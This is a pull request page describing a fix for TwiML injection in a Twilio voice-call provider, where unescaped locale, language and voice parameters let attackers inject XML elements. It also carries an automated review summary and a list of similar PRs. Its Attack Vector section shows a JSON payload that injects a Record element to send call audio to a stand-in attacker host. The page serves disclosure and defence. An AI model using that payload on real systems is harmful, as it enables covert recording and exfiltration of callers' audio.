#10238: Security: Fix TwiML injection via unescaped locale/language/voice parameters
channel: voice-call
stale
Cluster:
TwiML Security and Fixes
## Summary
The Twilio voice call provider constructed TwiML XML responses with user-controlled `locale`, `language`, and `voice` parameters directly interpolated into XML attributes without escaping. This allowed injection of arbitrary TwiML elements (Record, Redirect, Dial).
## Security Impact
| Metric | Value |
|--------|-------|
| **CVSS Score** | 8.5 / 10.0 |
| **Severity** | High |
| **CWE** | CWE-91 (XML Injection), CWE-116 (Improper Encoding) |
## Attack Vector
An attacker could craft a malicious locale parameter to inject TwiML elements:
```json
{
"locale": "en-US\"><Record maxLength=\"60\" action=\"https://attacker.com/record\"/><Say language=\"en-US"
}
```
This would cause Twilio to record calls and send audio to the attacker.
## Fix
Applied `escapeXml()` to all user-controlled parameters in TwiML templates:
- `input.locale` (line 536)
- `input.language` (line 597)
- `pollyVoice` (line 536) - derived from user input via `mapVoiceToPolly()`
The `escapeXml()` function was already used for `webhookUrl` and `input.text` in the same templates.
Fixes #10229
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
<!-- greptile_comment -->
<h2>Greptile Overview</h2>
<h3>Greptile Summary</h3>
- Escapes user-controlled `voice`, `locale`, and `language` values before interpolating them into TwiML XML attributes in the Twilio provider.
- Keeps existing escaping for `input.text` and `webhookUrl`, closing an XML/TwiML injection vector via attribute breaking.
- Change is localized to `extensions/voice-call/src/providers/twilio.ts` and uses the existing `escapeXml()` utility from `extensions/voice-call/src/voice-mapping.ts`.
<h3>Confidence Score: 5/5</h3>
- This PR is safe to merge with minimal risk.
- The change is narrowly scoped to escaping values interpolated into XML attributes, uses an existing escaping helper that covers the relevant XML special characters, and does not alter control flow or external integrations beyond output encoding.
- No files require special attention
<!-- greptile_other_comments_section -->
<sub>(3/5) Reply to the agent's comments like "Can you suggest a fix for this @greptileai?" or ask follow-up questions!</sub>
<!-- /greptile_comment -->
Most Similar PRs
#10231: fix(voice-call): escape locale/language params in TwiML to prevent ...
by coygeek · 2026-02-06
93.8%
#8297: fix(voice-call): prevent empty TwiML for non-in-progress outbound c...
by vishaltandale00 · 2026-02-03
77.1%
#21050: security(voice-call): path-based stream token for Twilio WebSocket ...
by richvincent · 2026-02-19
77.1%
#7652: fix(voice-call): fix Telnyx transcription (STT) not working
by tturnerdev · 2026-02-03
76.2%
#7704: fix(voice-call): add authentication to WebSocket media stream endpoint
by coygeek · 2026-02-03
75.2%
#10239: Security: Add production guard for skipSignatureVerification
by StreetJammer · 2026-02-06
74.9%
#16992: fix(gateway): escape XML entities in file.filename to prevent promp...
by AI-Reviewer-QS · 2026-02-15
73.9%
#8251: fix(voice-call): remove redundant transcript from extraSystemPrompt
by geodeterra · 2026-02-03
73.3%
#21110: fix(tts): deliver audio via structured mediaUrl instead of MEDIA: t...
by hydro13 · 2026-02-19
72.6%
#11048: fix: address repository issues (env, author, CI comments, security ...
by cavula · 2026-02-07
72.5%